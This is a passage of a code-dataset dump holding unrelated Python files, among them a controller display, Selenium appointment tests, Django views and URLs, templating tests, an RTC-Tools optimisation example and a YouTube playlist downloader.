explicitly in code.\n#\n# BTN_DICT = {\n# 304: \"A\",\n# 305: \"B\",\n# 307: \"Y\",\n# 308: \"X\",\n# 315: \"STR\",\n# 314: \"SEL\",\n# 310: \"L\",\n# 311: \"R\",\n# }\n#\n# DIRECTION_DICT = {(17, 1): \"D\", (17, -1): \"U\", (16, -1): \"L\", (16, 1): \"R\"}\n\nCONTROLLER_ASCII = \"\"\"\n +---------------------------+\n | ^ SEL STR Y |\n | < > X B |\n | v A |\n +---------------------------+\n\"\"\"\n\nCONTROLLER_ASCII_LOCATION_LOOKUP = {\n \"btn\": {\n 304: [(4, 24), \"A\"],\n 305: [(3, 26), \"B\"],\n 307: [(3, 22), \"X\"],\n 308: [(2, 24), \"Y\"],\n 315: [(2, 16), \"STR\"],\n 314: [(2, 11), \"SEL\"],\n # 310: [(2, 22), \"L\"],\n # 311: [(2, 22), \"R\"],\n },\n \"dpad\": {\n 17: {1: [(4, 5), \"v\"], -1: [(2, 5), \"^\"]},\n 16: {-1: [(3, 3), \"<\"], 1: [(3, 7), \">\"]},\n },\n}\n\n# The controller saves the axis, but not the pole.\nlast_direction_value = []\n\n\ndef main(stdscr):\n curses.start_color()\n\n # Default coloring\n curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLACK)\n\n # Coloring for the dpad.\n curses.init_pair(2, curses.COLOR_MAGENTA, curses.COLOR_BLACK)\n\n # Coloring for A, B, X, Y\n curses.init_pair(3, curses.COLOR_GREEN, curses.COLOR_BLACK)\n curses.init_pair(4, curses.COLOR_RED, curses.COLOR_BLACK)\n curses.init_pair(5, curses.COLOR_BLUE, curses.COLOR_BLACK)\n curses.init_pair(6, curses.COLOR_YELLOW, curses.COLOR_BLACK)\n\n # Hides the cursor.\n curses.curs_set(0)\n\n # Init the ASCII image.\n stdscr.clear()\n stdscr.addstr(0, 0, CONTROLLER_ASCII, curses.color_pair(1))\n stdscr.refresh()\n\n def redraw_buttons(event_code, press=True):\n \"\"\"\n Redraws buttons excluding the D-pad; also adds color.\n \"\"\"\n\n button_to_curses_color_idx = {304: 6, 305: 4, 307: 3, 308: 5, 315: 2, 314: 2}\n\n val = CONTROLLER_ASCII_LOCATION_LOOKUP[\"btn\"][event_code]\n x, y = val[0]\n color = (\n curses.color_pair(button_to_curses_color_idx[event_code])\n if press\n else curses.color_pair(1)\n )\n stdscr.addstr(x, y, val[1], color)\n stdscr.refresh()\n\n def redraw_dpad(event_code, event_value, press=True):\n \"\"\"controller_display\n Redraws D-pad values.\n \"\"\"\n\n val = CONTROLLER_ASCII_LOCATION_LOOKUP[\"dpad\"][event_code][event_value]\n x, y = val[0]\n color = curses.color_pair(4) if press else curses.color_pair(1)\n stdscr.addstr(x, y, val[1], color)\n stdscr.refresh()\n\n def parse_buttons(event):\n \"\"\"\n Parses if a button is pressed or not, and what to do in each case.\n \"\"\"\n try:\n if event.value == 1: # if pressed...\n redraw_buttons(event.code, press=True)\n else:\n redraw_buttons(event.code, press=False)\n except Exception as e:\n pass\n\n def parse_dpad(event):\n \"\"\"\n Parses if the D-pad is pressed or not, and what to do in each case.\n \"\"\"\n\n global last_direction_value\n try:\n if event.value != 0: # if pressed...\n last_direction_value.append(event.value)\n redraw_dpad(event.code, event.value, press=True)\n\n else:\n for dir_val in last_direction_value:\n redraw_dpad(event.code, dir_val, press=False)\n except Exception as e:\n pass\n\n # Main loop; Parses if the button pressed is\n # the D-pad or a button (X, Y, A, B, etc.)\n for event in device.read_loop():\n if event.type == 1:\n parse_buttons(event)\n if event.type == 3:\n parse_dpad(event)\n\n\nif __name__ == \"__main__\":\n curses.wrapper(main)\n","sub_path":"snes_controller_display.py","file_name":"snes_controller_display.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"405165092","text":"import unittest\r\nimport csv, operator\r\nimport smtplib\r\nfrom pyunitreport import HTMLTestRunner\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.select import Select\r\n\r\n#unit tests\r\n#Cases of test\r\nclass NewAppoiment(unittest.TestCase):\r\n @classmethod\r\n def setUpClass(self):\r\n self.driver = webdriver.Chrome(executable_path= r'./chromedriver.exe')\r\n driver = self.driver\r\n driver.maximize_window()\r\n driver.implicitly_wait(10)\r\n\r\n def test_new_appoiment(self):\r\n driver = self.driver\r\n driver.get('https://semindigital.com/')\r\n driver.implicitly_wait(10) \r\n\r\n lista = []\r\n with open('data.csv') as data:\r\n entrada = csv.reader(data)\r\n lista = list (entrada)\r\n x=0\r\n for linea in lista:\r\n #print(linea)\r\n #print (\"Iteracion \" , x)\r\n if(x==0):\r\n x=x+1 \r\n else:\r\n correo = linea [0]\r\n contrasena = linea [1]\r\n # cie10 = linea [2]\r\n estudio = linea [3]\r\n tipo_cita = linea [4]\r\n costo = linea [5]\r\n fecha_estudio = linea [6]\r\n hora_i = linea [7]\r\n hora_f = linea [8]\r\n telefono = linea [9]\r\n\r\n # Login\r\n email = driver.find_element_by_id ('email')\r\n password = driver.find_element_by_id('password')\r\n \r\n self.assertTrue(email.is_enabled() \r\n and password.is_enabled())\r\n\r\n email.send_keys(correo)\r\n password.send_keys(contrasena)\r\n \r\n driver.find_element_by_xpath('//*[@id=\"login\"]/div/div/div[2]/form/div[3]/div/div/button').click()\r\n driver.implicitly_wait(2)\r\n\r\n # Button new appoiment\r\n driver.find_element_by_xpath('//*[@id=\"container-princ\"]/app-medico/div[1]/div[1]/div[1]/button[1]').click()\r\n \r\n # New appoiment\r\n # Study to be carried out\r\n new_appoiment = driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[2]/form/input[1]')\r\n new_appoiment.clear()\r\n new_appoiment.send_keys(estudio)\r\n\r\n # Select appoiment type\r\n select_appoiment = Select(driver.find_element_by_id('tipo')) \r\n select_appoiment.select_by_visible_text(tipo_cita)\r\n\r\n # Cost\r\n cost = driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[2]/form/input[2]')\r\n cost.clear()\r\n cost.send_keys(costo)\r\n\r\n # Date\r\n date = driver.find_element_by_id('date')\r\n date.send_keys(fecha_estudio)\r\n \r\n # Start Time\r\n start_time = driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[2]/form/input[4]')\r\n start_time.send_keys(hora_i)\r\n\r\n # final time\r\n final_time = driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[2]/form/input[5]')\r\n final_time.send_keys(hora_f)\r\n\r\n # Phone\r\n phone = driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[2]/form/div/input[1]')\r\n phone.send_keys(telefono)\r\n\r\n self.assertTrue(new_appoiment.is_enabled()\r\n and cost.is_enabled()\r\n and date.is_enabled()\r\n and start_time.is_enabled()\r\n and final_time.is_enabled()\r\n and phone.is_enabled())\r\n\r\n # Button appoiment\r\n driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[2]/div/button[2]').click()\r\n\r\n # Button return\r\n driver.find_element_by_xpath('/html/body/ngb-modal-window/div/div/div[1]/button').click()\r\n\r\n # Get out\r\n driver.find_element_by_xpath('//*[@id=\"body\"]/header/div/div[2]/a/div').click()\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n unittest.main(verbosity = 2, testRunner = HTMLTestRunner(output= 'reportes',report_name= 'Nueva cita')) \r\n","sub_path":"Medico/new_appoiment.py","file_name":"new_appoiment.py","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"434838407","text":"# -*- coding: utf-8 -*-\nfrom __future__ import division\n\n#COMECE AQUI ABAIXO\n\nn = input(\"Digite o número: \")\na=[]\nfor i in range(0, n, 1):\n a.append(input(\"Digite um valor: \"))\nsoma = 0\n\nfor i in range (1,n+1,1):\n soma=soma+(a[i]**2)\nprint (soma)\n ","sub_path":"moodledata/vpl_data/10/usersdata/64/23063/submittedfiles/testes.py","file_name":"testes.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"234655277","text":"class Solution:\n def removeElement(self, nums, val):\n \"\"\"\n :type nums: List[int]\n :type val: int\n :rtype: int\n \"\"\"\n if len(nums) == 1:\n return []\n nums = sorted(nums)\n index = nums.index(val)\n j = index\n while j < len(nums) and nums[j] == nums[index]:\n j += 1\n if j == len(nums):\n return nums[:index]\n while j < len(nums):\n nums[index] = nums[j]\n j += 1\n index += 1\n return nums[:index]\n\n\"\"\"\nError Message:\n\n\"\"\"\n\n\n\"\"\"\nOther's answer:\n\nclass Solution:\n def removeElement(self, nums, val):\n start, end = 0, len(nums) - 1\n while start <= end:\n if nums[start] == val:\n nums[start], nums[end], end = nums[end], nums[start], end - 1\n else:\n start +=1\n return start\n\"\"\"","sub_path":"27.py","file_name":"27.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"108958301","text":"\"\"\" Tests for pork.py, a yaml+templates generator \"\"\"\n\nimport os, sys\nimport unittest\n\n# keep the command name hanging around, and add the pork directory\n# to the path so we can import it\nme = sys.argv[0]\nbase = os.path.split(__file__)[0]\nsys.path.insert(0,os.path.join(base,'..'))\nimport pork\n\n\nclass TestPork(unittest.TestCase):\n \"\"\" Test suite for pork. This will never be complete. \"\"\"\n def setUp(self):\n # set up the engines - we won't bother testing the engines which\n # aren't installed, so let's just try to import the root namespace\n # and see what happens\n self.engines = {}\n for engine in pork.engines:\n # special case this one. python would mean 'import string' and,\n # frankly, if that doesn't work then all bets are off\n if engine == 'python':\n continue\n # GRR why are they using uppercase module names? I thought python\n # was meant to be pythonic? I wish it _enforced_ things rather than\n # had conventions. Programming languages allow for too much\n # freedom of expression of preference, style over substance.\n # I hate how much development time is wasted in teams just by\n # the need to discuss \"coding standards\". Someone one day will make\n # a language that can only be written one way, and then the only\n # things open to debate will be the quality of algorithm, approach,\n # pattern, etc. But hopefully by then I won't be programming for a\n # living anyway.\n if engine == 'cheetah':\n engine = 'Cheetah'\n try:\n __import__(engine)\n except ImportError:\n pass\n else:\n self.engines[engine] = True\n # default config dictionary which the tests will update\n # before calling render\n self.config = {'engine':'python'}\n self.generated_files = []\n def tearDown(self):\n \"\"\" Remove generated files \"\"\"\n for file in self.generated_files:\n try:\n os.remove(file)\n except OSError:\n pass\n def render(self, values={}):\n \"\"\" Helper: render a dictionary against the default config \"\"\"\n # set up the renderer so it can be used afterwards (for spitting)\n self.renderer = pork.Renderer(self.config, values)\n return self.renderer.render()\n def slurp(self, file):\n \"\"\" Helper: read an entire file in \"\"\"\n return open(file, \"r\").read()\n def testPorkCanBeUsedToDoLiterallyNothing(self):\n \"\"\" Can Pork be used to do nothing at all? \"\"\"\n\t # this template has no tags in it, therefore the output\n\t # should match the input. passthroughs for the win.\n template = \"%s/no-tags.txt\" % base\n self.config['template']=template\n input = self.slurp(template)\n output = self.render()\n self.assertEqual(input, output)\n def testPorkCanBeUsedJustToCopyFilesIfYouReallyWant(self):\n \"\"\" Can Pork be used just to copy a file from A to B? \"\"\"\n # repeat the above test, but have a target file as well\n self.config['target'] = \"%s/no-tags-output.txt\" % base\n self.testPorkCanBeUsedToDoLiterallyNothing()\n self.renderer.spit()\n # this variable was setup in the test case we just called\n input = self.slurp(self.config['template'])\n output = self.slurp(self.config[\"target\"])\n self.assertEqual(input, output)\n self.generated_files.append(self.config[\"target\"])\n def testDjangoVariableInterpolation(self):\n \"\"\" Does (simple) django variable interpolation work? \"\"\"\n if 'django' in self.engines:\n self.config['template'] = \"%s/django-simple.txt\" % base\n self.config.update({'engine': 'django'})\n output = self.render({'world': 'everyone'})\n expected = \"Hello, everyone.\\n\"\n self.assertEqual(expected, output)\n def testJinja2VariableInterpolation(self):\n \"\"\" Does (simple) Jinja2 variable interpolation work? \"\"\"\n if 'jinja2' in self.engines:\n self.config['template'] = \"%s/jinja2-simple.txt\" % base\n self.config.update({'engine': 'jinja2'})\n output = self.render({'world': 'everyone'})\n # jinja2 strips off the trailing newline\n expected = \"Hello, everyone.\"\n self.assertEqual(expected, output)\n def testMakoVariableInterpolation(self):\n \"\"\" Does (simple) Mako variable interpolation work? \"\"\"\n if 'mako' in self.engines:\n self.config['template'] = \"%s/mako-simple.txt\" % base\n self.config.update({'engine': 'mako'})\n output = self.render({'world': 'everyone'})\n expected = \"Hello, everyone.\\n\"\n self.assertEqual(expected, output)\n def testStringDotTemplateVariableInterpolation(self):\n \"\"\" Does (simple) python variable interpolation work? \"\"\"\n self.config['template'] = \"%s/python-simple.txt\" % base\n # no need to set the engine, python's the default\n output = self.render({'world': 'everyone'})\n expected = \"Hello, everyone.\\n\"\n self.assertEqual(expected, output)\n def testCheetahVariableInterpolation(self):\n \"\"\" Does (simple) Cheetah variable interpolation work? \"\"\"\n # see rant in setUp for why Cheetah starts with a capital C\n if 'Cheetah' in self.engines:\n self.config['template'] = \"%s/cheetah-simple.txt\" % base\n output = self.render({'world': 'everyone'})\n expected = \"Hello, everyone.\\n\"\n self.assertEqual(expected, output)\n def testWastedTimeHasBeenWasted(self):\n \"\"\" Is Darren bored of writing tests to prove what he already knows?\"\"\"\n r1 = \"Test cases: for engineers with no confidence in their code,\"\n r2 = \"and managers with no trust in their engineers. Ridiculous.\"\n self.assertEqual(len(r1), len(r2))\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"412513623","text":"\"\"\"PixelRides URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.0/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path,re_path\nfrom django.conf.urls import url, include\nfrom .views import *\nfrom userData import views\nfrom django.conf import settings \nfrom django.conf.urls.static import static\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('',welcomeAnimation, name=\"welcome\"),\n path('home/', landingPage, name=\"home\"),\n path('about/',about, name=\"about\"),\n path('chooseRide/',chooseRide, name=\"rides\"),\n path('closeContacts/',closeContacts, name=\"closeContacts\"),\n path('dashboard/',dashboard,name=\"dashboard\"),\n path('user/',user,name=\"user\"),\n path('wallet/',wallet,name=\"wallet\"),\n path('security/',security,name=\"security\"),\n path('locateMe/',locateMe,name=\"locateMe\"),\n path('notifications/',notifications,name=\"notifications\"),\n path('faq/',faq,name=\"faq\"),\n\tpath('checkRides/', checkRides, name=\"checkrides\"),\n path('upgrade/',upgrade,name=\"upgrade\"),\n path('chooseDriver/',chooseDriver,name=\"chooseDriver\"),\n\tpath('setBargain/',setBargain,name=\"setBargain\"),\n\tpath('getBargain/',getBargain,name=\"getBargain\"),\n\tpath('agreeRide/',agreeRide,name=\"agreeRide\"),\n\tpath('disagreeRide/',disagreeRide,name=\"disagreeRide\"),\n\tpath('checkAgreeRide/',checkAgreeRide,name=\"checkAgreeRide\"),\n\tpath('schedule/',scheduleRide,name=\"schedule_rides\"),\n\turl(r'pay/(?P\\w+?)/(?P\\w+?)/$',pay,name=\"pay\"),\n\turl(r'bargain/(?P\\w+?)/$',bargaining, name=\"bargain\"),\n\turl(r'rideOn/(?P\\w+?)/(?P\\w+?)/$',rideOn,name=\"rideOn\"),\n\turl(r'forgotPassword/(?P\\w+?)/(?P\\w+?)/$', forgotPassword, name=\"forgotPassword\"),\n\turl(r'addingStops/(?P\\w+?)/(?P\\w+?)/$',addingStops,name=\"addingStops\"),\n url(r'confirmTransaction/(?P\\w+?)/(?P\\w+?)/(?P\\w+?)/$',confirmTransaction,name=\"confirmTransaction\"),\n url(r'^userData/',include('userData.urls')),\n url(r'^logout/$', views.user_logout, name='logout'),\n url(r'verifyOtp/(?P\\w+?)/(?P\\w+?)/(?P\\w+?)/(?P\\w+?)/$', otpAuthentication, name=\"otp\"),\n]\n\nif settings.DEBUG:\n urlpatterns += static(settings.MEDIA_URL,\n document_root=settings.MEDIA_ROOT)","sub_path":"PixelRides/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"516398031","text":"# -*- coding: utf-8 -*-\nimport redis\n\nclass Subscribe(object):\n\n def __init__(self):\n rc = redis.Redis(host='127.0.0.1')\n ps = rc.pubsub()\n ps.subscribe(['foo', 'bar'])\n rc.publish('foo', 'hello world')\n","sub_path":"azeroth_spider/subscribe/subscribe.py","file_name":"subscribe.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"235797778","text":"'''\n*******************************************************************************\n Copyright 2013 EMC Inc.\n\n[Filename]: tc_uefi_ms_AutoflashMfg.py\n[Author ]: Frank.He@emc.com\n[Purpose ]: Autoflash script for update SPA and SPB\n[Contains]: \n tc_uefi_ms_AutoflashMfg - class\n __init__\n test\n[History ]:\n******************************************************************************\n VER NAME DATE COMMENT\n******************************************************************************\n R00 Frank He 2/18/2014 Initial edition\n******************************************************************************\n'''\nfrom case.CBaseCase import *\n\nclass tc_uefi_ms_AutoflashMfg(CBaseCase):\n \n \"\"\"\n******************************************************************************\n[Purpose ]: Autoflash script for update SPA and SPB\n[Author ]: Frank.He@emc.com\n[Method ]:\n[ReqID ]: \n[Sprint ]: ATOM 2.0.13\n[Ticket ]: ATOM-970\n[Platform]: All\n[Type ]: Auto\n******************************************************************************\n \"\"\"\n def __init__(self):\n CBaseCase.__init__(self, self.__class__.__name__)\n\n\n def test(self):\n \n if self.enclosure.spa.go_to_post() != 0:\n self.result(FAIL, 'SPA: fail to go to post')\n return\n if self.enclosure.spa.auto_flash(self.obj_release.image_files_full_path()) != 0:\n self.log('ERROR','SPA: fail to auto flash')\n self.result(FAIL, 'SPA: fail to auto flash')\n \n if self.enclosure.spb.go_to_post() != 0:\n self.result(FAIL, 'SPB: fail to go to post')\n return\n if self.enclosure.spb.auto_flash(self.obj_release.image_files_full_path()) != 0:\n self.log('ERROR','SPB: fail to auto flash')\n self.result(FAIL, 'SPB: fail to auto flash')\n\n\n\n\n","sub_path":"case/OUT_OF_DATE/tc_uefi_ms_AutoflashMfg.py","file_name":"tc_uefi_ms_AutoflashMfg.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"216407990","text":"import numpy as np\n\n\nfrom datetime import datetime\n\n\n\nfrom rtctools.optimization.collocated_integrated_optimization_problem \\\n import CollocatedIntegratedOptimizationProblem\nfrom rtctools.optimization.csv_mixin import CSVMixin\nfrom rtctools.optimization.goal_programming_mixin \\\n import Goal, GoalProgrammingMixin, StateGoal\nfrom rtctools.optimization.modelica_mixin import ModelicaMixin\nfrom rtctools.util import run_optimization_problem\n\n\nclass WaterLevelRangeGoal(StateGoal):\n # Applying a state goal to every time step is easily done by defining a goal\n # that inherits StateGoal. StateGoal is a helper class that uses the state\n # to determine the function, function range, and function nominal\n # automatically.\n state = 'storage.HQ.H'\n # One goal can introduce a single or two constraints (min and/or max). Our\n # target water level range is 0.43 - 0.44. We might not always be able to\n # realize this, but we want to try.\n\n\n\n data_path = \"./input/timeseries_import.csv\"\n results = np.recfromcsv(data_path, encoding=None)\n\n month = datetime.strptime(results[\"utc\"][0], \"%Y-%m-%d %H:%M:%S\").month\n day = datetime.strptime(results[\"utc\"][0], \"%Y-%m-%d %H:%M:%S\").day\n\n print('>>>> StateGoal >>>> Month: ', month)\n print('>>>> StateGoal >>>> Day: ', day)\n\n reserve = 0.0\n if(month > 5):\n reserve = 0.02\n\n target_min = 0.43 + reserve\n target_max = 0.44 + reserve\n\n # Because we want to satisfy our water level target first, this has a\n # higher priority (=lower number).\n\n priority = 1\n\n\nclass MinimizeQpumpGoal(Goal):\n # This goal does not use a helper class, so we have to define the function\n # method, range and nominal explicitly. We do not specify a target_min or\n # target_max in this class, so the goal programming mixin will try to\n # minimize the expression returned by the function method.\n def function(self, optimization_problem, ensemble_member):\n return optimization_problem.integral('Q_pump')\n\n # The nominal is used to scale the value returned by\n # the function method so that the value is on the order of 1.\n function_nominal = 100.0\n # The lower the number returned by this function, the higher the priority.\n priority = 2\n # The penalty variable is taken to the order'th power.\n order = 1\n\n\nclass MinimizeChangeInQpumpGoal(Goal):\n # To reduce pump power cycles, we add a third goal to minimize changes in\n # Q_pump. This will be passed into the optimization problem as a path goal\n # because it is an an individual goal that should be applied at every time\n # step.\n def function(self, optimization_problem, ensemble_member):\n return optimization_problem.der('Q_pump')\n function_nominal = 5.0\n priority = 3\n # Default order is 2, but we want to be explicit\n order = 2\n\n\nclass Example(GoalProgrammingMixin, CSVMixin, ModelicaMixin,\n CollocatedIntegratedOptimizationProblem):\n \"\"\"\n An introductory example to goal programming in RCT-Tools\n \"\"\"\n def path_constraints(self, ensemble_member):\n # We want to add a few hard constraints to our problem. The goal\n # programming mixin however also generates constraints (and objectives)\n # from on our goals, so we have to call super() here.\n constraints = super().path_constraints(ensemble_member)\n\n # data_path = \"./input/timeseries_import.csv\"\n # results = np.recfromcsv(data_path, encoding=None)\n #\n # month = datetime.strptime(results[\"utc\"][0], \"%Y-%m-%d %H:%M:%S\").month\n\n # print(\"////// path_constraints --------- Month: \", month)\n\n # Release through orifice downhill only. This constraint enforces the\n # fact that water only flows downhill\n constraints.append((self.state('Q_orifice') +\n (1 - self.state('is_downhill')) * 10, 0.0, 10.0))\n\n # Make sure is_downhill is true only when the sea is lower than the\n # water level in the storage.\n M = 2 # The so-called \"big-M\"\n constraints.append((self.state('H_sea') - self.state('storage.HQ.H') -\n (1 - self.state('is_downhill')) * M, -np.inf, 0.0))\n constraints.append((self.state('H_sea') - self.state('storage.HQ.H') +\n self.state('is_downhill') * M, 0.0, np.inf))\n\n # Orifice flow constraint. Uses the equation:\n # Q(HUp, HDown, d) = width * C * d * (2 * g * (HUp - HDown)) ^ 0.5\n # Note that this equation is only valid for orifices that are submerged\n # units: description:\n w = 3.0 # m width of orifice\n d = 0.8 # m hight of orifice\n C = 1.0 # none orifice constant\n g = 9.8 # m/s^2 gravitational acceleration\n constraints.append(\n (((self.state('Q_orifice') / (w * C * d)) ** 2) / (2 * g) +\n self.state('orifice.HQDown.H') - self.state('orifice.HQUp.H') -\n M * (1 - self.state('is_downhill')),\n -np.inf, 0.0))\n\n return constraints\n\n def goals(self):\n return [MinimizeQpumpGoal()]\n\n def path_goals(self):\n # Sorting goals on priority is done in the goal programming mixin. We\n # do not have to worry about order here.\n return [WaterLevelRangeGoal(self), MinimizeChangeInQpumpGoal()]\n\n def pre(self):\n # Call super() class to not overwrite default behaviour\n super().pre()\n # We keep track of our intermediate results, so that we can print some\n # information about the progress of goals at the end of our run.\n self.intermediate_results = []\n\n def priority_completed(self, priority):\n # We want to show that the results of our highest priority goal (water\n # level) are remembered. The other information we want to see is how our\n # lower priority goal (Q_pump) progresses. We can write some code that\n # sumerizes the results and stores it.\n\n # A little bit of tolerance when checking for acceptance, because\n # strictly speaking 0.4299... is smaller than 0.43.\n reserve = 0.02\n _min = 0.43 + reserve - 1e-4\n _max = 0.44 + reserve + 1e-4\n\n results = self.extract_results()\n n_level_satisfied = sum(\n 1 for x in results['storage.HQ.H'] if _min <= x <= _max)\n q_pump_integral = sum(results['Q_pump'])\n q_pump_sum_changes = np.sum(np.diff(results['Q_pump'])**2)\n self.intermediate_results.append(\n (priority, n_level_satisfied, q_pump_integral, q_pump_sum_changes))\n\n def post(self):\n # Call super() class to not overwrite default behaviour\n super().post()\n for priority, n_level_satisfied, q_pump_integral, q_pump_sum_changes \\\n in self.intermediate_results:\n print('\\nAfter finishing goals of priority {}:'.format(priority))\n print('Level goal satisfied at {} of {} time steps'.format(\n n_level_satisfied, len(self.times())))\n print('Integral of Q_pump = {:.2f}'.format(q_pump_integral))\n print('Sum of squares of changes in Q_pump: {:.2f}'.format(q_pump_sum_changes))\n\n # Any solver options can be set here\n def solver_options(self):\n options = super().solver_options()\n solver = options['solver']\n options[solver]['print_level'] = 1\n return options\n\n\n# Run\nrun_optimization_problem(Example)\n","sub_path":"goal_programming_reserve/src/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":7473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"487551413","text":"import random\nimport string\nimport threading\nfrom queue import Queue\nimport pafy\nimport time\nimport os\n\ncounter = 0\ndirectory = \"C:/Users/morit_000/Desktop/TubeCast\"\n\n# lock to serialize console output\nlock = threading.Lock()\n\n#prints all Title and AudioLink of Profile\ndef printAudioDetail(item):\n p = item\n try:\n best = p.getbestaudio(preftype=\"m4a\")\n title = best.title[:].replace(\":\", \"_\")\n\n filepath = directory + \"/\"+title+\".\" + best.extension\n #print(\"Check: \"+filepath)\n best.download(filepath)\n print(filepath)\n except Exception as err:\n print(err)\n print(filepath)\n #print(p.title +\" \"+ err)\n q.put(p)\n #print(p.title)\n #print(threading.current_thread().name, best.url)\n filepath = directory + best.title + \".\" + best.extension\n\n\n#worker method, thread method\ndef worker():\n time.sleep(1)\n while True:\n item = q.get()\n printAudioDetail(item)\n #print(item.title)\n\n q.task_done()\n\n\nplaylist = pafy.get_playlist(\"PLpaD0ybYH0S1yYJAGHhHgJE46oEfGfl2C\")\nvideos = playlist['items']\n\n#Threadpool initialization, number of Threads\nfor i in range(100):\n t = threading.Thread(target=worker)\n t.daemon = True\n t.start()\n\n#fill Queue, gets processed by the Threads\nq = Queue()\nfor video in videos:\n q.put(video['pafy'])\n counter += 1\nq.join()\n\n#if method stops before threads --> Exception\n#time.sleep(5)\n\nprint(\"Ergebnis \"+counter.__str__())\n\n","sub_path":"old_files/mutlithread.py","file_name":"mutlithread.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"584875358","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.generic import View\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.contrib.auth.models import User as djUser\nfrom user.models import User, Author, Image\nfrom mysite import settings\nfrom .forms import UploadFileForm\nimport os, sys, json\nfrom .models import Audio\ndef handle_uploaded_file(f):\n with open(os.path.join(settings.MEDIA_ROOT, f.name), 'wb+') as destination:\n for chunk in f.chunks():\n destination.write(chunk)\nclass Playlist(View):\n @method_decorator(login_required(login_url='/login/'))\n def get(self, request):\n user = request.user\n playlist = user.customUser.audio.all()\n return render(request, \"playlist.html\", {'playlist' : playlist, 'you': request.user.customUser, 'user' : None})\n @method_decorator(login_required(login_url='/login/'))\n def post(self, request):\n user = request.user\n params = request.POST\n try:\n xhr = request.POST['xhr']\n except:\n xhr = False\n response_dict = {}\n print(request.POST)\n if 'add' in params:\n try:\n user.customUser.audio.add(Audio.objects.get(id=int(params['add'])))\n response_dict = {'status': 'ok'}\n except:\n print(\"Unexpected error:\", sys.exc_info())\n response_dict = {'status': 'error'}\n if xhr == 'true':\n return HttpResponse(json.dumps(response_dict), content_type='application/javascript')\n return self.get(request)\n else:\n try:\n author = Author.objects.get(name = params['author'])\n except:\n author = Author.objects.create(name = params['author'], information = '')\n form = UploadFileForm(request.POST, request.FILES)\n if form.is_valid():\n handle_uploaded_file(request.FILES['audio'])\n a = Audio.objects.create(text = params['post_text'],\n author = author,\n name = params['name'],\n file = request.FILES['audio'],\n type = [params['type']],\n duration = '00:00:00')\n user.customUser.audio.add(a)\n a.save()\n return self.get(request)\nclass Audios_id(View):\n def post(self, request, path):\n user = request.user\n params = request.POST\n try:\n xhr = request.POST['xhr']\n except:\n xhr = False\n response_dict = {}\n print(request.POST)\n if 'add' in params:\n try:\n user.customUser.audio.add(Audio.objects.get(id=int(params['add'])))\n response_dict = {'status': 'ok'}\n except:\n print(\"Unexpected error:\", sys.exc_info())\n response_dict = {'status': 'error'}\n if xhr == 'true':\n return HttpResponse(json.dumps(response_dict), content_type='application/javascript')\n return self.get(request, path)\n def get(self, request, path):\n\n user = User.objects.get(id=int(path))\n print(request)\n return render(request, \"playlist.html\", {'playlist' : user.audio.all(),\n 'user' : user,\n 'you': request.user.customUser})\n # Create your views here.\n","sub_path":"audio/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"532106046","text":"#!/usr/bin/env python3\n\nimport mksippscn\nimport codesamples\n\ndef testUnique(e, description):\n print(' >>>>', description)\n print('{} values:'.format(e))\n uniq = set()\n variables = vars(e)\n for var in variables:\n if not var.startswith('__') and not callable(variables[var]):\n if variables[var] not in uniq:\n uniq.add(variables[var])\n print('{:15} = {:2}'.format(var, variables[var]))\n else:\n print('{:15} = {:2} !! ERROR !! Already in use!'.format(var, variables[var]))\n rc = 1\n\ndef testNeedFormat():\n print('Not need format string test OK') if not codesamples.needFormat('not need format') \\\n else print('Not need format string test FAILED')\n print('Need some format string test OK') if codesamples.needFormat('need {some} format') \\\n else print('Need some format string test FAILED')\n print('Need format string test OK') if codesamples.needFormat('need {} format') \\\n else print('Need some format string test FAILED')\n\ndef 